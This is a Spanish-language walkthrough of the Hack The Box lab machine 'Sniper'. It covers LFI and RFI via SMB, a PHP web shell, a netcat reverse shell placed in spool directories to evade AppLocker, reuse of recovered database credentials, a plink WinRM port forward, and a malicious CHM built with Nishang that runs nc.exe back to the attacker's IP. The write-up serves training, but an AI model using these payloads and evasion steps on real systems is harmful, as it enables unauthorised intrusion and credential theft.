Sniper HTB WriteUP
Sniper - 10.129.1.171
Reconnaissance
Nmap Recon Results
Discovery OS System
\
Recon Open Ports
Service Enumeration
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m59s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-07T18:21:49
|_ start_date: N/A
Analizando el resultado de nmap, vemos que tenemos solo 4 puertos abiertos , un servicio de samba y el otro el servidor http… lo que podemos deducir que probablemente esten conectados.
Web Service Enumeration
http://10.129.95.80/
Encontramos en el codigo fuente que la mayor parte de la pagina es estatica y solamente 2 secciones parecen alojar mas contenido una es “login.php” y "/blog/index.php"
http://10.129.95.80/user/login.php
encontramos un formulario de logueo en el cual tenemos una seccion para registrarnos, asi que procederemos a registrarnos
- Usuario registrado
- test : test123
una vez que nos logueamos vemos una pequeรฑa animacion de que la web sigue en construccion… asi que no encontramos nada relevante, ahora seguiremos analizando la otra seccion del sitio web.
http://10.129.95.80/blog/index.php
analizando el sitio vemos que tiene una barra de navegacion con distintas pestaรฑas y texto de relleno “Lorem Ipsum”
en el codigo fuente del sitio web nos damos cuenta que hace uso de el parametro “lang”, asi que intentaremos abusar de el mismo por si las entradas no estan sanitizadas y asi lograr un LFI.
Exploit
Testing LFI nuestra deduccion fue correcta, en efecto podemos conseguir un LFI, ahora intentaremos enumerar otros ficheros interesantes
http://10.129.95.80/blog/?lang=/Windows/win.ini
Optional II
Podriamos hacer uso de curl para enviar nuestra peticion get del LFI y solo filtrar por los campos que hay entre “html y body”
curl -s -G "http://10.129.95.80/blog/?lang=/Windows/win.ini" | sed -n '/<\/html>/,/<\/body>/p'
Testing RFI Rfi To Shell Using Samba -> Nice Article nuestro proximo paso sera testear un RFI , para eso utilizaremos un servidor http o tcpdump (en el caso de samba) para ver si el servidor objetivo solicita el recurso que le especificamos en la peticion bien para esto primero verificaremos si recibimos alguna solicitud del servidor en nuestra maquina a traves del procotolo http, y si no es asi despues probaremos con smb
como se aprecia en la imagen anterior, no recibimos ninguna peticion. asi que continuaremos con samba
y por lo que vemos si, eso quiere decir que si se dan ciertos requitisos podriamos injectar comandos. intentamos obtener el recurso a traves de smbserver pero no es posible ya que el servidor solicitaba el recurso pero no podia loguearse al mismo , asi que creamos un recurso compartido en la configuracion de samba “/etc/samba/smb.conf” e inicializamos el servicio de samba
y lo intentamos de nuevo pero esta ves a traves de Burp
vemos que nuestro payload se ejecuta correctamente, asi que lo modificaremos y haremos una web shell.
<?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>" ?>
Reverse Shell
compartiremos un binario a traves de sambaserver e intentaremos entablar una reverse shell para eso haremos uso del siguiente recurso WhiteWinterWolf que es una webshell en php que nos permite ejecutar comandos e inclusive subir ficheros.
podemos subir ficheros por ejemplo a la ruta C:\Windows\Temp
o mejor aun para bypassear el applocker podemos hacer uso del siguiente Recurso en nuestro caso haremos uso de la ruta
C:\Windows\System32\spool\drivers\color
Option II
intentamos ejecutar el binario de netcat a traves del recurso compartido de samba, pero no hemos obtenido la reverse shell, asi que copiaremos el fichero de netcat y lo pegaremos en C:\Windows\System32\spool\PRINTERS
para despues ejecutar el binario desde ese directorio y puedamos bypassear el applock
aparentemente el Antivirus nos borra el fichero asi que lo cambiaremos por
C:\Windows\System32\spool\drivers\color\nc.exe
y ejecutamos nuestra reverse shell
enumerando el sistema nos damos cuenta que dentro del directorio del servicio web hay un fichero llamada “db.php” con credenciales de logueo a la base de datos
- Credentials
- User : dbuser
- Pass : 36mEAhz/B8xQ~2VM
probablemente sean las credenciales del usuario Chris asi que verificaremos si son las credenciales correcta con crackmapexec
bien, listando los sockets en escucha del sistema nos damos cuenta que esta el puerto 5985 de winrm de forma interna, pero desde forma externa no nos aparece, seguramente por reglas de firewall, asi que lo que haremos sera un remote port forwarding del puerto de winrm “5985”
plink64.exe -l root -pw hola123 -R 5985:127.0.0.1:5985 10.10.14.68 -P 9999
una vez que efectuamos el remote port forwarding haremos uso de la herramienta evil-winrm para validar si las credenciales que tenemos en efecto son del usuario “Crhis”
evil-winrm
Option III
Reuse Chris Credentials
$password = ConvertTo-SecureString "36mEAhz/B8xQ~2VM" -AsPlainText -Force
$credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "Sniper\Chris", $password
Invoke-Command -ScriptBlock { whoami } -Credential $credential -Computer localhost
Priv Esc
Encontramos un fichero llamado notes.txt en C:\Docs\notes.txt
que dice lo siguiente.
Hi Chris,
Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.
Regards,
Sniper CEO.
parece una madriguera de conejo ya que no nos dice nada util, asi que seguimos enumerando la maquina para encontrar un archivo particular en la ruta de
C:\User\Chris\Downloads\instructions.ch
que al querer transferirnos a nuestra maquina obtenemos permisos denegados, asi que lo que hacemos es modificar el archivo de configuracion de samba con las siguientes intructiones
y le asignamos permisos de escritura al directorio para que otros puedan escribir
ahora si nos copiamos el fichero
una vez que nos transferimos el fichero nos lo llevamos a una maquina local de windows , para examinarlo vemos que es una estructura html simple, bien ahora haremos uso del script out-chm De Nishang que nos permite generar un fichero .chm con el payload que le especifiquemos para despues transferirlo a la maquina objetivo
Ahora nos transferimos el fichero a la ubicacion
c:\docs\doc.chm
como vemos recibimos el ping, pero el fichero despues se borra, asi que modificaremos el payload en nuestra maquina windows y lo volvemos a transferir a la maquina objetivo para que el proceso htmlhelp.exe lo ejecute.
Import-Module .\Out-CHM.ps1
Out-CHM -Payload "c:\windows\system32\spool\drivers\color\nc.exe 10.10.14.68 9999 -e powershell" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
Manual Method Para hacer el fichero “.chm” de forma manual temos el siguiente Recurso. O inclusive https://gist.github.com/mgeeky/cce31c8602a144d8f2172a73d510e0e7.